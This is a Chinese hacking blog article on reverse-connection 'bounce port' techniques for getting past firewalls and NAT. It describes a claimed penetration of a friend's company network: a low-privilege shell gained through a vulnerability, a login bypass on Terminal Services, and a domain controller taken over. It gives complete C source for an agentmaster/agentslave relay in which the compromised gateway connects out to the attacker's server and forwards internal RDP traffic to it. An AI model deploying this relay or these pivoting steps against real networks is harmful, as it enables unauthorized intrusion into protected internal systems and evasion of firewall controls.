TCP端口反弹技术
反弹技术,该技术解决了传统的远程控制软件不能访问装有防火墙和控制局域网内部的远程计算机的难题。反弹端口型软件的原理是,客户端首先登录到FTP服务器,编辑在***软件中预先设置的主页空间上面的一个文件,并打开端口监听,等待服务端的连接,服务端定期用HTTP协议读取这个文件的内容,当发现是客户端让自己开始连接时,就主动连接,如此就可完成连接工作。因此在互联网上可以访问到局域网里通过 NAT (透明代理)代理上网的电脑,并且可以穿过防火墙。与传统的远程控制软件相反,反弹端口型软件的服务端会主动连接客户端,客户端的监听端口一般开为80(即用于网页浏览的端口),这样,即使用户在命令提示符下使用"netstat -a"命令检查自己的端口,发现的也是类似"TCP UserIP:3015 ControllerIP:http ESTABLISHED"的情况,稍微疏忽一点你就会以为是自己在浏览网页,而防火墙也会同样这么认为的。于是,与一般的软件相反,反弹端口型软件的服务端主动连接客户端,这样就可以轻易的突破防火墙的限制。
利用两次TCP SOCKET数据转发突破TCP/IP限制进入
--------------------------------------------------------------------------------
事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹tcp端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:
  
  上面的网络拓扑是我在一次对朋友公司网站授权***过程中遇到的。
  
  〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到internet,但我是网关的admin:)。
  
  〈2〉敌人[其实是friend啦]的网关os是2k adv server,在外网网卡上做了tcp/ip限制,只开放了25,53,80,110,3306这几个tcp port,通过一个漏洞,我得到了一个shell,可以通过ie来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用tcp socket转发。和第一部分说的一样吗?有些不同。因为他做了tcp/ip限制,我们不能连接他,只能让他来连接我们了,tcp反弹端口,呵呵。
  
  ***流程如下:
  
  〈1〉在我的服务器202.1.1.1运行agentmaster,监听tcp port 12345,等待202.2.2.2来连接,监听tcp port 3389,等待我192.168.0.2连接。
  
  〈2〉在敌人网关机器202.2.2.2运行agentslave,连接到202.1.1.1 tcp port 12345[注意:是反弹端口,tcp/ip过滤也拿他没办法]
  
  〈3〉我自己192.168.0.2用termclient连接到自己的服务器202.1.1.1:3389
  
  〈4〉敌人网关上的agentslave连接到自己本身在内网的ip==〉192.168.1.1:3389
  
  〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。
    后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了tcp/ip过滤,***者没有办法进入。我只要把agentslave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。
  程序代码如下[程序中所用到的tcpdataredird.c已经贴在第一部分,那个文件做数据转发,通用的:
  
  /******************************************************************************
  
  module name:agentmaster.c
  date:2001/4/16
  copyright(c) eyas
  说明:scoket代理主控端,负责监听两个tcp socket,等待***者和agentslave来连接,两个
  scoket都连接成功后,开始转发数据
  sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]
  
  ******************************************************************************/
  #include 〈stdio.h〉
  #include 〈winsock2.h〉
  #include "tcpdataredird.c"
  
  #pragma comment(lib,"ws2_32.lib")
  
  #define targetport 3389//伪装的target的监听端口
  #define localport 12345//等待agentslave来connect的端口
  int main()
  {
  wsadata wsd;
  socket s3389=invalid_socket,//本机监听的socket,等待***者连接
  s1981=invalid_socket,//监听的socket,等待agentslave来连接
  sock[2]={invalid_socket,invalid_socket};
  struct sockaddr_in local3389,local1981,attack,slave;
  int iaddrsize;
  handle hthreadc2t=null,//c2t=clienttotarget
  hthreadt2c=null;//t2c=targettoclient
  dword dwthreadid;
  
  __try
  {
  //load winsock library
  if(wsastartup(makeword(2,2),&wsd)!=0)
  {
  printf("\nwsastartup() failed:%d",getlasterror());
  __leave;
  }
  //create socket
  s3389=socket(af_inet,sock_stream,ipproto_ip);
  if(s3389==invalid_socket)
  {
  printf("\nsocket() failed:%d",getlasterror());
  __leave;
  }
  //create socket
  s1981=socket(af_inet,sock_stream,ipproto_ip);
  if(s1981==invalid_socket)
  {
  printf("\nsocket() failed:%d",getlasterror());
  __leave;
  }
  //fill the struct
  local3389.sin_addr.s_addr=htonl(inaddr_any);
  local3389.sin_family=af_inet;
  local3389.sin_port=htons(targetport);
  
  local1981.sin_addr.s_addr=htonl(inaddr_any);
  local1981.sin_family=af_inet;
  local1981.sin_port=htons(localport);
  //bind s3389 for attacker
  if(bind(s3389,(struct sockaddr *)&local3389,sizeof(local3389))==socket_error)
  {
  printf("\nbind() failed:%d",getlasterror());
  __leave;
  }
  //listen for attacker to connect
  if(listen(s3389,1)==socket_error)
  {
  printf("\nlisten() failed:%d",getlasterror());
  __leave;
  }
  //bind s1981 for agentslave
  if(bind(s1981,(struct sockaddr *)&local1981,sizeof(local1981))==socket_error)
  {
  printf("\nbind() failed:%d",getlasterror());
  __leave;
  }
  //listen for agentslave to connect
  if(listen(s1981,1)==socket_error)
  {
  printf("\nlisten() failed:%d",getlasterror());
  __leave;
  }
  //socket循环
  while(1)
  {
  //wait for agentslave to connect
  iaddrsize=sizeof(slave);
  sock[1]=accept(s1981,(struct sockaddr *)&slave,&iaddrsize);
  if(sock[1]==invalid_socket)
  {
  printf("\naccept() failed:%d",getlasterror());
  break;
  }
  printf("\naccept agentslave==〉%s:%d",inet_ntoa(slave.sin_addr),
  ntohs(slave.sin_port));
  //wait for attacker to connect
  iaddrsize=sizeof(attack);
  sock[0]=accept(s3389,(struct sockaddr *)&attack,&iaddrsize);
  if(sock[0]==invalid_socket)
  {
  printf("\naccept() failed:%d",getlasterror());
  break;
  }
  printf("\naccept attacker==〉%s:%d",inet_ntoa(attack.sin_addr),
  ntohs(attack.sin_port));
  //创建两个线程进行数据转发
  hthreadc2t=createthread(null,0,tcpdatac2t,(lpvoid)sock,0,&dwthreadid);
  hthreadt2c=createthread(null,0,tcpdatat2c,(lpvoid)sock,0,&dwthreadid);
  //等待两个线程结束
  waitforsingleobject(hthreadc2t,infinite);
  closehandle(hthreadc2t);
  closehandle(hthreadt2c);
  closesocket(sock[0]);
  closesocket(sock[1]);
  }//end of socket while
  }//end of try
  __finally
  {
  //clean all
  if(s3389!=invalid_socket) closesocket(s3389);
  if(s1981!=invalid_socket) closesocket(s1981);
  if(sock[0]!=invalid_socket) closesocket(sock[0]);
  if(sock[1]!=invalid_socket) closesocket(sock[1]);
  if(hthreadc2t!=null) closehandle(hthreadc2t);
  if(hthreadt2c!=null) closehandle(hthreadt2c);
  wsacleanup();
  }
  return 0;
  }
  /***********************************************************************************
  
  module:agentslave.c
  date:2001/4/17
  copyright(c)eyas
  homepage:[url]www.patching.net[/url]
  说明:这个程序负责连接最终目标,连接主控端,然后转发数据
  这里连接到agenrmaster的socket相当与sclient==〉sock[0],
  连接到最终目标的socoket是starget==〉sock[1]
  
  ***********************************************************************************/
  #include 〈stdio.h〉
  #include 〈winsock2.h〉
  #include "tcpdataredird.c"
  
  #pragma comment(lib,"ws2_32.lib")
  
  #define targetip "192.168.1.3"
  #define targetport (int)3389
  #define agentmasterip "202.1.1.1"
  #define agentmasterport (int)12345
  
  int main()
  {
  wsadata wsd;
  socket sock[2]={invalid_socket,invalid_socket};
  struct sockaddr_in master,target;
  handle hthreadc2t=null,//c2t=clienttotarget
  hthreadt2c=null;//t2c=targettoclient
  dword dwthreadid;
  
  __try
  {
  //load winsock library
  if(wsastartup(makeword(2,2),&wsd)!=0)
  {
  printf("\nwsastartup() failed:%d",getlasterror());
  __leave;
  }
  //循环
  while(1)
  {
  //create client socket
  sock[0]=socket(af_inet,sock_stream,ipproto_ip);
  if(sock[0]==invalid_socket)
  {
  printf("\nsocket() failed:%d",getlasterror());
  __leave;
  }
  //create target socket
  sock[1]=socket(af_inet,sock_stream,ipproto_ip);
  if(sock[1]==invalid_socket)
  {
  printf("\nsocket() failed:%d",getlasterror());
  __leave;
  }
  //fill struct
  target.sin_family=af_inet;
  target.sin_addr.s_addr=inet_addr(targetip);
  target.sin_port=htons(targetport);
  
  master.sin_family=af_inet;
  master.sin_addr.s_addr=inet_addr(agentmasterip);
  master.sin_port=htons(agentmasterport);
  //connect to agentmaster
  if(connect(sock[0],(struct sockaddr *)&master,sizeof(master))==socket_error)
  {
  //连接失败后,等待一会儿再连
  printf("\nconnect() to master failed:%d",getlasterror());
  closesocket(sock[0]);
  closesocket(sock[1]);
  sleep(5000);
  continue;
  }
  printf("\nconnect to %s %d success!",agentmasterip,agentmasterport);
  //connect to target
  if(connect(sock[1],(struct sockaddr *)&target,sizeof(target))==socket_error)
  {
  printf("\nconnect() to target failed:%d",getlasterror());
  __leave;
  }
  printf("\nconnect to %s %d success!",targetip,targetport);
  //创建两个线程进行数据转发
  hthreadc2t=createthread(null,0,tcpdatac2t,(lpvoid)sock,0,&dwthreadid);
  hthreadt2c=createthread(null,0,tcpdatat2c,(lpvoid)sock,0,&dwthreadid);
  //等待两个线程结束
  waitforsingleobject(hthreadc2t,infinite);
  closehandle(hthreadc2t);
  closehandle(hthreadt2c);
  closesocket(sock[0]);
  closesocket(sock[1]);
  }//end of while
  }//end of try
  __finally
  {
  if(sock[0]!=invalid_socket) closesocket(sock[0]);
  if(sock[1]!=invalid_socket) closesocket(sock[1]);
  if(hthreadc2t!=null) closehandle(hthreadc2t);
  if(hthreadt2c!=null) closehandle(hthreadt2c);
  wsacleanup();
  }
  return 0;
  }

转载于:https://blog.51cto.com/128177/43773

利用socket转发和反弹端口技术突破防火墙进入内相关推荐

  1. 端口复用突破防火墙(图)

    如何在溢出后得到安全的.隐蔽的Shell是大家一直都在讨论的问题,因为现在的防火墙和各种安全软件漫天飞,想不被它们发现还真是很难,幸好有很多牛人们用自己的实力探索出了一条这样的道路,让我们这些人能顺着 ...

  2. 通过端口映射突破防火墙

    在我做的项目中,经常遇到一种如下形式的网络结构. 出于安全的考虑,server处于防火墙之后,client无法直接访问,只能通过telnet登陆到proxy server上访问.在这种方式下,就无法利 ...

  3. 木马——本质就是cs socket远程控制,反弹木马是作为c端向外发起网络请求

    摘自:http://kczxsp.hnu.edu.cn/upload/20150504165623705.pdf 里面对于木马的实验过程写得非常清楚,值得一看. 木马是隐藏在正常程序中的具有特殊功能的 ...

  4. 反弹端口 HTTP代理 HTTP隧道技术

    现在,很多木马都利用了"反弹端口原理"与"HTTP隧道技术",它的服务端(被控制端)会主动连接客户端(控制 端),因此,在互联网上可以访问到局域网里通过NAT代 ...

  5. 红蓝对抗之隧道技术第一篇(内网穿透、端口映射端口转发、Netsh端口转发、CS正反向连接多层内网、Burp设置上游代理访问内网、MSF protfwd端口转发/重定向)

    文章目录 隧道应用 端口映射&端口转发 Netsh端口转发 Netsh端口转发meterpreter CS正向连接多层内网 CS反向连接多层内网 Burp设置上游代理访问内网 MSF prot ...

  6. 内网转发——反弹端口

    反弹端口:是指受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发 主要指以下情况:   -1.访问服务器的3389端口,由于防火墙的原因,我们访问不了338 ...

  7. TCP:利用Socket编程技术实现客户端向服务端上传一个图片。

    问题: 利用Socket编程技术实现客户端向服务端上传一个图片的程序. 客户端: import java.io.*; import java.net.Socket;public class clien ...

  8. eBPF技术应用云原生网络实践系列之基于socket的service | 龙蜥技术

    简介:如何使用 socket eBPF进一步提升Service 网络的转发性能? 背景介绍 Kubernetes 中的网络功能,主要包括 POD 网络,service 网络和网络策略组成.其中 POD ...

  9. 手把手教你玩转SOCKET模型:完成端口(Completion Port)详解

    这篇文档我非常详细并且图文并茂的介绍了关于网络编程模型中完成端口的方方面面的信息,从API的用法到使用的步骤,从完成端口的实现机理到实际使用的注意事项,都有所涉及,并且为了让朋友们更直观的体会完成端口 ...

最新文章

  1. 如何创建一个数据科学项目?
  2. 计算机组成原理课程内容,计算机组成原理课程教学大纲.doc.doc
  3. Ansible的Inventory管理
  4. 20应用统计考研复试要点(part9)--应用多元分析
  5. VUE 入坑系列 一 双向绑定
  6. Qt文档阅读笔记-QSet官方解析及实例
  7. JAVA day05 构造方法,this关键字,方法的重载,引用类型数组
  8. windows 下安装linux子系统及其可视化【Linux】
  9. 自我介绍html模板王,一分钟自我介绍模板范文15篇
  10. python接入图灵机器人_Python使用微信接入图灵机器人过程解析
  11. 国内各大安卓市场有ASO优化吗?安卓应用市场aso优化
  12. 《机器学习实战》加利福尼亚州房屋价格 数据结构与可视化
  13. linux服务器做301跳转,什么是301转向,如何去做301跳转
  14. 计算机c盘可以删除的文件,电脑C盘上的文件哪些可以大胆删除的?
  15. 调查计算机对运算能力的影响,计算器对运算能力的影响的报告.docx
  16. 基于android点餐系统需求分析,基于Android的点餐系统的设计及实现
  17. 47件产品入选北极星建筑奖,包括北京朝阳站、望朝中心、前海腾讯数码大厦等地标亮点 | 美通社头条...
  18. 中国石油大学(北京)-《外国文学作品选读》第二阶段在线作业
  19. asp 打开服务器文件夹,什么是ASP?如何打开ASP文件
  20. 漫画 | 到底是什么让IT人如此苦逼???

热门文章

  1. MySQL中保存emoji表情
  2. 推荐阅读-Docker实现原理之Namespace,CGroup
  3. 我们应该如何保护用户的密码
  4. 编程书说的“Go程序员应该让聚合类型的零值也具有意义”是在讲什么
  5. 最新idea设置默认maven
  6. Nacos数据库配置
  7. redis数据类型hash总结
  8. oralce 11g rac ocr和votedisk迁移
  9. 9.List的子类特点
  10. 联动下拉框显示省市县